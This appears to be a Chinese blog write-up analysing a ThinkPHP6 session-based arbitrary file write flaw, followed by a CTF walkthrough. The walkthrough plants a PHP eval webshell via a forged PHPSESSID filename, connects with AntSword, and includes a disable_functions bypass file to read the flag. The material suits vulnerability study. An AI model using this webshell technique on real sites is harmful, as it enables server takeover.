ThinkPHP6任意文件操作漏洞分析
原理
在开启session的情况下可以导致创建任意文件以及删除文件,在特定情况下可以getshell
1 | ### ctype_alnum($text) |
检测输入的$text中所有的字符全部是字母和数字,如果是,返回TRUE,否则返回FALSE
在源码中,/src/think/session/Store.php中的212行设置id时增加了一个函数ctype_alnum($text)
1 | /** |
而上面也有提及,ctype_alnum()函数是检测$id是否全部是字母和数字的,所以根据文件目录和更改的函数部分猜测:
1 | 可能是存储Session时导致的文件写入,所以我们可以跟进相关的函数,看向vendor/topthink/framework/src/think/session/Store.php的254行的save()函数 |
/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
/**
1 | 然后看向 |
$this->handler->write($sessionId, $data);
1 | 然后跟进write()函数,在vendor/topthink/framework/src/think/session/driver/File.php中的210行代码 |
然后我们看向writeFile()函数,然后跟进vendor/topthink/framework/src/think/session/driver/File.php中的170行
1 | * 写文件(加锁) |
我们可以从代码中看见file_put_contents()函数,可知内容$content被写入$path中
所以整体思路是
1 | 写入函数file_put_contents($path,$content,LOCK_EX)中的参数$path和$content来源于函数writeFile($path,$data) |
而其中write()函数中$sessionID的值调用了getId()传入的,在源码vendor/topthink/framework/src/think/session/Store.php中的129行
1 | public function getId(): string |
但是在getId时,需要先创建sessionId,所以要找setId()函数,在源码vendor/topthink/framework/src/think/session/Store.php中的119行
1 | public function setId($id = null): void |
所以我们可以看向调用setId()的函数handle()函数,在源码vendor/topthink/framework/src/think/middleware/SessionInit.php:46中
1 | public function handle($request, Closure $next) |
其中$cookieName其实就是PHPSESSID,而$sessonid为PHPSESSID的值,所以为可控的值,因此可以确定write()函数中$sessionID的值
而对于$sessiData的值,可以看向vendor/topthink/framework/src/think/session/Store.php:261的变量$data传入:
1 | $data = $this->serialize($this->data); |
而$data默认环境中是空的
1 | /** |
所以对于写入session的内容实际是有后端业务逻辑来决定的,所以要在严苛的条件下才可以写入webshell,而这个实现任意文件操作漏洞需要开启session环境下才可以实现,如果想开启session,则需要thinkphp6开启session的方法:删除/app/middleware.php最后一行的注释
实例(
打开页面,发现有注册、登录和搜索的功能,所以我们在注册和登录页面尝试sql注入测试,发现不是,所以我们扫描目录,发现有www.zip文件泄露,同时我们再随便构造payload
1 | /djddbebkebkb |
发现是ThinkPHP6版本的框架,然后审计源码,发现是ThinkPHP6版本框架的任意文件操作漏洞,我们可以利用PHPSESSID来确定生成的session文件的名字,然后$data数据,我们可以看向这个源码中的前端源码\app\home\controller\Member.php
1 | public function search() |
看向
1 | session("Record",$data["key"]) |
发现在搜索页面是$data的输入,所以我们可以在注册时,伪造长度为32的文件名aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php,然后进入搜索页面,进行代码的输入
1 | <?php @eval($_POST[cmd];?> |
然后访问路径是/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
用蚁剑进行连接,进入后台,发现读取不了/readflag,然后在搜索页面构造
1 | <?php phpinfo();?> |
看php版本,发现disable_function中有许多的系统函数被禁,所以需要绕过disable_function,本来打算劫持系统函数,然后利用php函数中用来发邮件的函数来启动子程序,从而在子程序中执行被禁函数,来读取/readflag的,但是发现不行,也许是被过滤了或在这里发邮件函数不可以启动子程序吧,所以我们可以使用我网上找的exp来绕过
1 | <?php |
上传这个文件到/var/tmp目录下,然后在搜索页面构造
1 | <?php include("/var/tmp/exp.php");?> |
然后访问runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php执行文件即可得到flag